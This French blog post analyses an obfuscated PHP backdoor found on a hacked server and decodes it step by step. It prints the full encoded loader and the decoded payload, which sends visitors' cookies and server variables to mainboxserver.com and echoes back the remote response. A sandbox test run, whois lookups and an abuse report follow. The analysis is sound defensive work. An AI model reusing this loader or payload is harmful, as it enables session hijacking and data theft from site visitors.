Sécurité: analyse d'un script php malveillant ...

Il y a quelques semaines je suis intervenu sur un serveur qui a subit plusieurs attaques et sur lequel j'ai trouvé bon nombre de scripts malveillants ... après avoir nettoyé tout ça et relancé la machine je me suis attardé sur un fichier intéressant que je vous décompose ci-dessous

Le script ...

Voici le code source du script en question (oui sur une seule ligne)

$F8NfGou="/zcADoZcbpNKCyr+AKWVRjn/sh8EXQEg1LHorhPdaLUISfkuDDHZHBuwQNg7lJklqyuwA5DRaixG/8OdVoCuPTiUGtj7ynaa+x7lkf1THJ+f9QxnalO+En/rBOXOba+2F97LkaSuvgvenYL2jtr+qat1tlMM8QOGqgETaFaVZ+7BkctuHlYWtu57kX3Q23Z31rPEQ1cW2ZNdUV52gluO6B1YdI43X3RXp5Ae3j5Em/Tt6LOdY5akP2NJ7PGAQiQ8JEZVUH+NCKnId8MCOfnNoHl+NkVxRvGoLmgE7xvFTu8DJSiGEg6tzhnO9bCYCTrizJ9ptncHS/M2MTtNVrOVmuhrGZ1pfJKN9VVV2Dgp/VGODNOnPSgsnZdu04WwuchL0p6rb42gQuzJoJzRwokPM35lDPwHzdoAq/HP3ACms2xZNMkzI05W3JTUV0NXJ9UMXCzNdTzWzn5GjVuxGz0gh6xd9eO2EMTwZJLV6wkIT1RQuOGOjbZuC3YvsHhwbn+0cghyaJHA2cspwihAW2UlAqm1PShac6ZXEVqVlJauS8nHO9AMHiYqJX/KS16ynLjj4omlVFOYp9mq5lyAfs7rKCqdPhAvT4xXbg87FcUKg00jxO0xwBKwhHxbCNODcwrYJ4WodgP8elNQ0KcDj6BN4vHTKxgNu1XSr3oXFtvrsvAlbnPeMb/gp6tf2wQprrF6nEUoUwOnbty528Ri+HVj7b1EQGZnJDKEQEFLK0v2ax7epxeA1XyO9ia5edQGUOx+DyLpBiiYLPiJCPY9+1cSRG2W06tZX3W4n9i+2QIyD8DrAT34ydMet0mDIocr1GKjsiQ4jAHUOriNMv0/xoPZGmk30COqOMH9oOC5aTxeTU9tNkyJdzsOV+xf7DqXhN8OAg7KI2gpetB/qHvQcHqH3LQoV7prOUbdkGCs2dWFeGuUxlYm5dxPW7OBJQFKI/6il0bk0CYLI9PNy1w5Ypdkxp+xjcnYGaqNZLZmXJaucX23lg2X+CrGLNiFJBOC1fI9XTG8f+ZkpMX0VV2K6BRNieR3/8d8KJw7F5889PVoy6Ot1k9atWEfiBiIq1fsi8OSeEI/grHEF8NQCMmej+sfAsai7T9cWtr88xj2hmzQq+pEsF6jw6KZDubXfmLagPEOyBfQc83Nxc/NfN4xBeqTHFu/O6rgqQIcdaX6nSjbL+zmmx4MiSatlorF0YFzXEzPSZOYYgZY6KMw3npA4Vbv8h5sZ72MvKFey8n8sEagknevwcX2+gcM8qzA+l8Elr1J9syasBfS2JFm";$Xh98W="\x73\x74";$GItDI="\142\x61\x73";$OPiO18gM="\x67\x7a\151";$zFucs="\141";$sriy0="Fl1YmASDI3Tm8Rgmml+1IKU3YUUk1VQkAn1IiW1Zwpkgy";$zFucs.="\x73";$OPiO18gM.="\156\146";$sriy0.="MFfILdYZvfAoWJlxaVGH5Jf0/XYASDX84YFGp2moD2fLH";$GItDI.="\145\x36\x34";$Xh98W.="\162\x5f\162";$Xh98W.="\157\164";$GItDI.="\137\x64\x65\143";$OPiO18gM.="\x6c\x61";$sriy0.="joFmAYBRqoJkBvK882BnAVV78bOJ5lARkAeTLpJOkfByk";$zFucs.="\x73\145";$OPiO18gM.="\x74\x65";$Xh98W.="\x31\63";$sriy0.="H1GEJH9CnVEKxBuK/tRk/D4g0Kj2VLHNWqH1eNN==";$GItDI.="\157\144\x65";$zFucs.="\162\x74";@$zFucs($OPiO18gM($GItDI($Xh98W($sriy0))));

Avant tout il faut savoir quelques bricoles

Avant de commencer à foncer tête baissée il faut savoir que les techniques suivantes sont appliquées :

  • le code source est obfusqué (anglais) ou du code impénétrable volontairement pour nous rendre la tâche la plus compliquée possible
  • mais ce code est tout a fait compréhensible par l'ordinateur qui l'exécute ...
  • comme c'est du php nous avons la chance que ce code ne soit pas compilé on peut donc - moyennant du temps - le décoder pas à pas pour comprendre réellement ce qu'il fait
  • on a aucune idée au départ de ce que ce code malicieux peut faire

Première étape mettre un peu d'air dans ce gros bloc

On ajoute des retours à la ligne partout où on peut et ça donne ceci:

$F8NfGou="/zcADoZcbpNKCyr+AKWVRjn/sh8EXQEg1LHorhPdaLUISfkuDDHZHBuwQNg7lJklqyuwA5DRaixG/8OdVoCuPTiUGtj7ynaa+x7lkf1THJ+f9QxnalO+En/rBOXOba+2F97LkaSuvgvenYL2jtr+qat1tlMM8QOGqgETaFaVZ+7BkctuHlYWtu57kX3Q23Z31rPEQ1cW2ZNdUV52gluO6B1YdI43X3RXp5Ae3j5Em/Tt6LOdY5akP2NJ7PGAQiQ8JEZVUH+NCKnId8MCOfnNoHl+NkVxRvGoLmgE7xvFTu8DJSiGEg6tzhnO9bCYCTrizJ9ptncHS/M2MTtNVrOVmuhrGZ1pfJKN9VVV2Dgp/VGODNOnPSgsnZdu04WwuchL0p6rb42gQuzJoJzRwokPM35lDPwHzdoAq/HP3ACms2xZNMkzI05W3JTUV0NXJ9UMXCzNdTzWzn5GjVuxGz0gh6xd9eO2EMTwZJLV6wkIT1RQuOGOjbZuC3YvsHhwbn+0cghyaJHA2cspwihAW2UlAqm1PShac6ZXEVqVlJauS8nHO9AMHiYqJX/KS16ynLjj4omlVFOYp9mq5lyAfs7rKCqdPhAvT4xXbg87FcUKg00jxO0xwBKwhHxbCNODcwrYJ4WodgP8elNQ0KcDj6BN4vHTKxgNu1XSr3oXFtvrsvAlbnPeMb/gp6tf2wQprrF6nEUoUwOnbty528Ri+HVj7b1EQGZnJDKEQEFLK0v2ax7epxeA1XyO9ia5edQGUOx+DyLpBiiYLPiJCPY9+1cSRG2W06tZX3W4n9i+2QIyD8DrAT34ydMet0mDIocr1GKjsiQ4jAHUOriNMv0/xoPZGmk30COqOMH9oOC5aTxeTU9tNkyJdzsOV+xf7DqXhN8OAg7KI2gpetB/qHvQcHqH3LQoV7prOUbdkGCs2dWFeGuUxlYm5dxPW7OBJQFKI/6il0bk0CYLI9PNy1w5Ypdkxp+xjcnYGaqNZLZmXJaucX23lg2X+CrGLNiFJBOC1fI9XTG8f+ZkpMX0VV2K6BRNieR3/8d8KJw7F5889PVoy6Ot1k9atWEfiBiIq1fsi8OSeEI/grHEF8NQCMmej+sfAsai7T9cWtr88xj2hmzQq+pEsF6jw6KZDubXfmLagPEOyBfQc83Nxc/NfN4xBeqTHFu/O6rgqQIcdaX6nSjbL+zmmx4MiSatlorF0YFzXEzPSZOYYgZY6KMw3npA4Vbv8h5sZ72MvKFey8n8sEagknevwcX2+gcM8qzA+l8Elr1J9syasBfS2JFm";
$Xh98W="\x73\x74";
$GItDI="\142\x61\x73";
$OPiO18gM="\x67\x7a\151";
$zFucs="\141";
$sriy0="Fl1YmASDI3Tm8Rgmml+1IKU3YUUk1VQkAn1IiW1Zwpkgy";
$zFucs.="\x73";
$OPiO18gM.="\156\146";
$sriy0.="MFfILdYZvfAoWJlxaVGH5Jf0/XYASDX84YFGp2moD2fLH";
$GItDI.="\145\x36\x34";
$Xh98W.="\162\x5f\162";
$Xh98W.="\157\164";
$GItDI.="\137\x64\x65\143";
$OPiO18gM.="\x6c\x61";
$sriy0.="joFmAYBRqoJkBvK882BnAVV78bOJ5lARkAeTLpJOkfByk";
$zFucs.="\x73\145";
$OPiO18gM.="\x74\x65";
$Xh98W.="\x31\63";
$sriy0.="H1GEJH9CnVEKxBuK/tRk/D4g0Kj2VLHNWqH1eNN==";
$GItDI.="\157\144\x65";
$zFucs.="\162\x74";
@$zFucs($OPiO18gM($GItDI($Xh98W($sriy0))));

Première remarque

Là on remarque qu'un certain nombre de variables sont des concaténations successives, par exemple

$GItDI="\142\x61\x73";
$GItDI.="\145\x36\x34";
$GItDI.="\137\x64\x65\143";
$GItDI.="\157\144\x65";

Ce qui peut se simplifier en

$GItDI="\142\x61\x73\145\x36\x34\137\x64\x65\143\157\144\x65";

Çe ne vous aide peut-être pas beaucoup mais c'est quand même beaucoup plus clair pour moi ... car "\142\x61" ça me fait penser à la table ASCII et je peux donc transformer ce charabia en un code compréhensible

$GItDI="base64_decode";

Et là je peux vous dire que c'est un grand pas en avant, on peut donc comprendre que des variables vont contenir des noms de fonctions php mais pour éviter que ça ne se voit trop facilement les développeurs ont découpés ça en petits paquets...

On applique ça à ce qui nous intéresse

$GItDI="\142\x61\x73";
$GItDI.="\145\x36\x34";
$GItDI.="\137\x64\x65\143";
$GItDI.="\157\144\x65";

$OPiO18gM="\x67\x7a\151";
$OPiO18gM.="\156\146";
$OPiO18gM.="\x6c\x61";
$OPiO18gM.="\x74\x65";

$zFucs="\141";
$zFucs.="\x73";
$zFucs.="\x73\145";
$zFucs.="\162\x74";

$Xh98W.="\162\x5f\162";
$Xh98W.="\157\164";
$Xh98W.="\x31\63";

Et ça donne alors

$GItDI="base64_decode";
$zFucs="assert";
$OPiO18gM="gzinflate";
$Xh98W="str_rot13";

On aura donc affaire à ces 4 fonctions php :

De son côté la variable $sriy0 n'est pas la même chose ... mais ça ne m'étonne pas dans la mesure où c'est la variable à laquelle on applique toutes les autres fonctions:

@$zFucs($OPiO18gM($GItDI($Xh98W($sriy0))));

Donc on peut garder de côté cette variable ... de toute façon le "==" final fait penser à un base64 "ou un truc du genre"

$sriy0="Fl1YmASDI3Tm8Rgmml+1IKU3YUUk1VQkAn1IiW1Zwpkgy";
$sriy0.="MFfILdYZvfAoWJlxaVGH5Jf0/XYASDX84YFGp2moD2fLH";
$sriy0.="joFmAYBRqoJkBvK882BnAVV78bOJ5lARkAeTLpJOkfByk";
$sriy0.="H1GEJH9CnVEKxBuK/tRk/D4g0Kj2VLHNWqH1eNN==";

Et ce qui donne donne pour la dernière ligne si on remplace les variables par leur valeur:

asset(gzinflate(base64_decode(str_rot13("Fl1YmASDI3Tm8Rgmml+1IKU3YUUk1VQkAn1IiW1ZwpkgyMFfILdYZvfAoWJlxaVGH5Jf0/XYASDX84YFGp2moD2fLHjoFmAYBRqoJkBvK882BnAVV78bOJ5lARkAeTLpJOkfBykH1GEJH9CnVEKxBuK/tRk/D4g0Kj2VLHNWqH1eNN==");

Le résultat de l’interprétation de cette ligne par php (lancé dans un bac à sable) est alors

eval('$F8NfGou=$GItDI($F8NfGou);
$KB527="";
$sriy0="jbmae";
for($qnRg57k=0;$qnRg57k<969;$qnRg57k++) {
  $KB527.=chr(ord($F8NfGou[$qnRg57k])^ord($sriy0[$qnRg57k%5]));
}
@eval($OPiO18gM($KB527));');

C'est pas encore super clair car ils continuent d'utiliser des techniques de masquage de code, j'avoue qu'on est loin des premiers scripts de piratage en php d'il y a 10 ans, là on a affaire à du code compressé (gzinflate) dont le résultat est stocké sous forme base64 et pour lequel on a appliqué un algorithme simple de rotation des caractères de type ROT13 ... et tout ça pour arriver encore à du code masqué !

L'analyste est besogneux

Je vous ai dit en préambule que ça demande du temps ... mais pas à pas on défait le code, ce qui permet à partir du code précédent d'avoir ça

Transformation en base64 de notre 1ere variable super longue

$F8NfGou=base64_decode($F8NfGou);

Ça nous retourne du binaire ou tout au moins du charabia compressé ... c'est là que le bout de code ci-dessous est particulièrement alambiqué

$KB527="";
$sriy0="jbmae";
for($qnRg57k=0;$qnRg57k<969;$qnRg57k++) {
  $KB527.=chr(ord($F8NfGou[$qnRg57k])^ord($sriy0[$qnRg57k%5]));
}

On comprends vaguement qu'on a une boucle de 0 à 969 et que j'ai envie de simplifier comme ceci pour comprendre (bien que ça ne soit pas utile de comprendre vraiment vu qu'on peut faire exécuter ce code à php pour en avoir le résultat) ...

$code="";
$sriy0="jbmae";
for($i=0; $i<969; $i++) {
  $code .= chr(ord($F8NfGou[$i]) ^ ord($sriy0[$i%5]));
}
@eval(gzinflate($code));');

Bon, je vais avoir un peu de mal à l'expliquer même si je "vois" le truc ... il faut être matheux et informaticien pour que ça soit vraiment facile à comprendre ... je tente:

  • $i%5 -> a pour effet de "sortir" une lettre de la variable sriy0 selon i modulo 5, ça veut dire que si i vaut 0 alors le résultat 0 % 5 sera 0, si i vaut 1 le résultat sera 1 ... si i vaut 6 le résultat sera 1 et ainsi de suite, par ex si i vaut 22 alors 22 % 5 vaut 2
  • quand à $sriy0résultat du modulo ça retourne la lettre j b m a ou e (c'est le contenu de la variable, voir $sriy0="jbmae";) en fonction du résultat du modulo
  • ord de ça a pour effet de retourner une valeur entre 0 et 255 en fonction de la lettre donnée à la fonction ord, dans notre cas de manière très appliquée ça peut donc être une de ces 5 possibilités:
    • ord(j) soit 106
    • ord(b) soit 98
    • ord(m) soit 109
    • ord(a) soit 97
    • ord(e) soit 101
  • nombre ^ nombre c'est une opération sur les bits, c'est un ou exclusif ... là il faut avoir un background de développeur pour comprendre et je ne veux pas me risquer à tenter une explication
  • l'idée est de retourner un caractère à partir d'un "masque", c'est un autre très grand classique de la dissimulation de code ou dans la cryptographie, voir wikipédia une fois de plus

Pour faire un très gros résumé, on a une clé de déchiffrage qui est "jbmae" et on l'utilise pour déchiffrer les 969 premiers octets de la variable F8NfGou ... pourquoi 969 ? hé bien il faut voir qu'on passe la variable F8NfGou dans la fonction GItDI qui n'est autre que "base64_decode" et que le résultat fait 969 octets tout simplement !

Pour ma part j'aurais fait une boucle différente sans coder en dur les 969 mais bon ...

On continue ?

Alors où en sommes nous ? ha oui, voilà ce que donne l'interprétation du code précédent :

$z=&$_COOKIE;
$g=$_SERVER;
$f='';
if(!empty($z)) {
    foreach($z as $j=>$d) {
        if($f)
            $f.=';';
        $f.=$j.'='.addslashes($d);
    }
}
$V="\x63\x75\162\x6c\x5f\x69\156\151\x74";
$R="\x6d\x61\x69\156\142\x6f\x78\163\x65\x72\166\145\162\x2e\143\x6f\155";
$a="\x2f\160\x72\x6f\170\x79\x2f\142\151\146\x6f\146\151\x66\x6b\154\147\165\x6d";
foreach($g as $j=>$d)
    $g[$j]=$j.'='.urlencode(strval($d));
$U=implode('&',$g);
if(is_callable($V)) {
    $i="\143\x75\x72\x6c\x5f\163\x65\x74\157\160\164";
    $J="\143\165\x72\154\x5f\145\170\x65\143";
    $h=$V();
    $i($h,4346+5656,"\150\x74\164\160\72\x2f\x2f".$R.$a);
    $i($h,8835+1180,$U);
    $i($h,5365+14548,1);
    $i($h,16253+3826,'SLQD');
    if($f)$i($h,8605+1417,$f);
    echo $J($h);
}
else{
    $b="\146\x73\157\143\153\157\160\145\x6e";
    $n="\x66\x63\154\x6f\163\x65";
    $c="\146\167\x72\151\x74\x65";
    $r="\146\147\x65\164\163";
    $t=$b($R,23+57) or die();
    $y="\x50\x4f\x53\x54 $a \x48\124\x54\x50/1.1\r\n\x48\x6f\x73\164: $R\r\n\103\157\x6e\x74\145\x6e\164\55\124\x79\160\145: \x61\160\160\x6c\151\143\141\x74\151\157\x6e\57\x78\x2d\x77\167\167\x2d\146\157\x72\155\55\x75\x72\x6c\145\156\143\x6f\144\145\x64\r\n";
    if($f)$y.="\x43\157\157\x6b\151\x65: $f\r\n";
    $y.="\x43\x6f\156\x74\x65\x6e\164\55\154\145\x6e\147\164\x68: ".strlen($U)."\r\n\103\x6f\x6e\x6e\145\x63\164\151\x6f\156\x3a\x20\x43\154\157\x73\x65\r\n\r\n";
    $c($t,$y.$U);
    $M='';
    while(!feof($t)){
        $M.=$r($t,692+332);
    }
    $n($t);
    list($y,$q)=explode("\r\n\r\n",$M,2);
    $y=explode("\r\n",$y);
    $Y=0;
    foreach($y as $Z){
        SLQD(0,$Z);
        if(strpos($Z,"\143\x68\x75\156\x6b\145\x64")!==false)
            $Y=1;
    }
    if($Y){
        for($G='';!empty($q);$q=trim($q)){
            $l=strpos($q,"\r\n");
            $p=hexdec(substr($q,0,$l));
            $G.=substr($q,$l+2,$p);
            $q=substr($q,$l+2+$p);
        }
        echo $G;
    }
    else echo $q;
}
function SLQD($h,$E){
    if(strpos($E,"\103\157\x6e\x74\145\x6e\164\55\124\x79\160\145")!==false||strpos($E,"\x34\60\x34")!==false||strpos($E,"\x33\x30\61")!==false||strpos($E,"\114\157\143\141\x74\151\157\156")!==false||strpos($E,"\x53\145\x74\x2d\x43\157\157\x6b\151\x65")!==false)
        header($E);
    return strlen($E);
}

On retrouve encore et toujours la même utilisation des codes ascii ... ça deviens une habitude et maintenant on sait quoi en faire

Décodage de l'ascii

Ce qui donne alors après analyse / remplacement des codes ascii:

$z=&$_COOKIE;
$g=$_SERVER;
$f='';
if(!empty($z)) {
    foreach($z as $j=>$d) {
        if($f)
            $f.=';';
        $f.=$j.'='.addslashes($d);
    }
}
$V="curl_init";
$R="mainboxserver.com";
$a="/proxy/bifofifklgum";
foreach($g as $j=>$d)
    $g[$j]=$j.'='.urlencode(strval($d));
$U=implode('&',$g);
if(is_callable($V)) {
    $i="curl_setopt";
    $J="curl_exec";
    $h=$V();
    $i($h,4346+5656,"http://".$R.$a);
    $i($h,8835+1180,$U);
    $i($h,5365+14548,1);
    $i($h,16253+3826,'SLQD');
    if($f)$i($h,8605+1417,$f);
    echo $J($h);
}
else{
    $b="fsockopen";
    $n="fclose";
    $c="fwrite";
    $r="fgets";
    $t=$b($R,23+57) or die();
    $y="POST $a HTTP/1.1
Host: $R
Content-Type: application/x-www-form-urlencoded
";
    if($f)$y.="Cookie: $f
";
    $y.="Content-length: ".strlen($U)."
Connection: Close

";
    $c($t,$y.$U);
    $M='';
    while(!feof($t)){
        $M.=$r($t,692+332);
    }
    $n($t);
    list($y,$q)=explode("

",$M,2);
    $y=explode("
",$y);
    $Y=0;
    foreach($y as $Z){
        SLQD(0,$Z);
        if(strpos($Z,"chunked")!==false)
            $Y=1;
    }
    if($Y){
        for($G='';!empty($q);$q=trim($q)){
            $l=strpos($q,"
");
            $p=hexdec(substr($q,0,$l));
            $G.=substr($q,$l+2,$p);
            $q=substr($q,$l+2+$p);
        }
        echo $G;
    }
    else echo $q;
}
function SLQD($h,$E){
    if(strpos($E,"Content-Type")!==false||strpos($E,"404")!==false||strpos($E,"301")!==false||strpos($E,"Location")!==false||strpos($E,"Set-Cookie")!==false)
        header($E);
    return strlen($E);
}

Et là on a des choses sacrément intéressantes:

  • le nom du serveur sur lequel ce script se connecte: mainboxserver.com
  • l'adresse de la page sur laquelle il se connecte: /proxy/bifofifklgum
  • le développeur de ce script est assez doué pour avoir imaginé que l'extension curl n'est pas forcément présente sur le serveur et donc il a aussi une implémentation "fallback" à base de fsocket (pas mal)

Mais surtout on peut avoir quelques craintes:

  • ce script récupère tous les cookies du navigateur web de la personne qui VISITE le site web
  • il récupère également toutes les sessions en cours
  • il envoie tout ça sur le serveur distant
  • et il affiche ce que le serveur lui retourne

Du coup pour un visiteur normal cette page semble juste lui afficher de la pub pour du viagra et autres cochonneries mais la réalité est bien pire que ça: si par malheur ce visiteur est aussi administrateur du site (avec un CMS) ou qu'il a une session en cours sur un outil comme phpmyadmin notre pirate distant récupère des données diablement intéressantes et peut tenter de se connecter sous l'identité de la victime sur les autres outils hébergés sur le serveur via des techniques de réutilisation de sessions, réutilisation de données des cookies

Voir même si l'attaque est vraiment futée, le serveur distant retourne du code qui sera exécuté par le navigateur du visiteur "sur" le site visité en se faisant passer pour le visiteur (vu que c'est son navigateur web qui fait le boulot) ... ça peut faire très très mal !

Histoire d'avancer un peu plus et de simuler la réalité des dégâts possibles je simplifie un peu le code (j'ai curl et donc je peux virer tout le code alternative si curl n'est pas présent). Au lieu d'envoyer tout ça sur mainboxserver.com je vais l'envoyer sur un serveur de tests serveur.intranet sur lequel je fais des tests

$z=&$_COOKIE;
$g=$_SERVER;
$f='';
if(!empty($z)){
    foreach($z as $j=>$d){
        if($f) $f.=';';
        $f.=$j.'='.addslashes($d);
    }
}
$V="curl_init";
//$R="mainboxserver.com";
$R="serveur.intranet";
$a="/proxy/bifofifklgum";
foreach($g as $j=>$d) $g[$j]=$j.'='.urlencode(strval($d));
$U=implode('&',$g);

$i="curl_setopt";
$J="curl_exec";
$h=curl_init();
$i($h,CURLOPT_URL,"http://".$R.$a);
$i($h,CURLOPT_POSTFIELDS,$U);
$i($h,CURLOPT_RETURNTRANSFER,1);
$i($h,CURLOPT_HEADERFUNCTION,'SLQD');
if($f)$i($h,CURLOPT_COOKIE,$f);
print "U : ";
var_dump($U);
print "<br><br>h : ";
var_dump($h);

function SLQD($h,$E){
print "<br><br>E : ";
    var_dump($E);
/*
    if(strpos($E,"Content-Type")!==false||strpos($E,"404")!==false||strpos($E,"301")!==false||strpos($E,"Location")!==false||strpos($E,"Set-Cookie")!==false)
        header($E);
    return strlen($E);

*/
}

Verdict

Et c'est bien ça, voici ce que mon navigateur envoie comme informations à mon insu losque je vais sur la page gérée par ce script

U : string(4401) "MOD_X_SENDFILE_ENABLED=1&
HTTPS=on&
HTTP_HOST=serveur.intranet&
HTTP_USER_AGENT=Mozilla%2F5.0+%28Windows+NT+10.0%3B+WOW64%3B+rv%3A51.0%29+Gecko%2F20100101+Firefox%2F51.0&
HTTP_ACCEPT=text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2C%2A%2F%2A%3Bq%3D0.8&
HTTP_ACCEPT_LANGUAGE=fr-FR%2Cfr%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3&
HTTP_ACCEPT_ENCODING=gzip%2C+deflate%2C+br&
HTTP_REFERER=xxxxxxx&
HTTP_COOKIE=xxxxxxxxxxxxxxxxxxxxxxxx&
HTTP_DNT=1&
HTTP_CONNECTION=keep-alive&
HTTP_UPGRADE_INSECURE_REQUESTS=1&
PATH=%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin&
SERVER_SIGNATURE=%3Caddress%3EApache%2F2.4.25+%28Debian%29+Server+at+serveur.intranet+Port+80%3C%2Faddress%3E%0A&
SERVER_SOFTWARE=Apache%2F2.4.25+%28Debian%29&
SERVER_NAME=serveur.intranet&
SERVER_ADDR=192.168.123.100&
SERVER_PORT=80&
REMOTE_ADDR=192.168.123.101&
DOCUMENT_ROOT=%2Fhome%2Fwebs%2Fbricolages%2Fhtdocs&
REQUEST_SCHEME=http&
CONTEXT_PREFIX=&
CONTEXT_DOCUMENT_ROOT=%2Fhome%2Fwebs%2Fbricolages%2Fhtdocs&
SERVER_ADMIN=contact%40serveur.intranet&
SCRIPT_FILENAME=%2Fhome%2Fwebs%2Fbricolages%2Fhtdocs%2Ftmp%2Fsecu.php&
REMOTE_PORT=26614&
GATEWAY_INTERFACE=CGI%2F1.1&
SERVER_PROTOCOL=HTTP%2F1.1&
REQUEST_METHOD=GET&
QUERY_STRING=&
REQUEST_URI=%2Ftmp%2Fsecu.php&
SCRIPT_NAME=%2Ftmp%2Fsecu.php&
PHP_SELF=%2Ftmp%2Fsecu.php&
REQUEST_TIME_FLOAT=1548664441.503&
REQUEST_TIME=1548664441"

Conséquences

Maintenant qu'on sait ce que fait ce script on peut à tout hasard chercher vers où les données sont exfiltrées ...

Là je n'y croyais pas vraiment ... il semblerait que le serveur vers lequel les données sont envoyées soit ... en France !

$ host mainboxserver.com
mainboxserver.com has address 62.210.83.72

$ host 62.210.83.72
72.83.210.62.in-addr.arpa domain name pointer 62-210-83-72.rev.poneytelecom.eu.

hé oui, poneytelecom.eu je connait ça ... c'est une blague de free; ça se confirme:

$ whois 62.210.83.72

.../...
% Information related to '62.210.0.0/16AS12876'

route:          62.210.0.0/16
descr:          Online SAS
descr:          Paris, France
origin:         AS12876
mnt-by:         MNT-TISCALIFR
created:        2013-08-02T09:07:46Z
last-modified:  2013-08-02T09:07:46Z
source:         RIPE

Il est donc possible de porter plainte officiellement car la destination des données est un serveur en France, pour ma part j'ai plutôt le réflexe de signaler le problème aux administrateurs du réseau en question, via la page http://www.poneytelecom.eu/ on a un lien https://console.online.net/en/account/abuses/search ... j'ai complété le formulaire et le temps que j'écrive ce billet sur mon blog le site distant ne répondait plus, j'imagine que les administrateurs ont été efficaces où que le pirate a senti qu'il se passait quelque-chose et a tout coupé ?

D'un autre côté je me dis que ce serveur est plus probablement un relais, qu'il a été lui-même piraté et que le vrai coupable est bien loin, ça serait vraiment trop facile !

Épilogue

J'espère que cette analyse vous aura autant intéressée que moi, la sécurité informatique est un domaine passionnant :)

QR code
Send to friend

Commentaires

9 fév. 2019 10:33

On a beau savoir que le dev est un linguiste, on se retrouve quand même dans un pays tellement étranger qu'on a honte d'être aussi ignare ; j'ai vraiment un minimum vital à emmagasiner : les variables, les fonctions php ! Code ascii + clé de déchiffrage : OK. Les dangers finaux : OK.

ania

Ajouter un commentaire

Le code HTML est affiché comme du texte et les adresses web sont automatiquement transformées.

URL de rétrolien : https://e.garluche.fr/trackback/819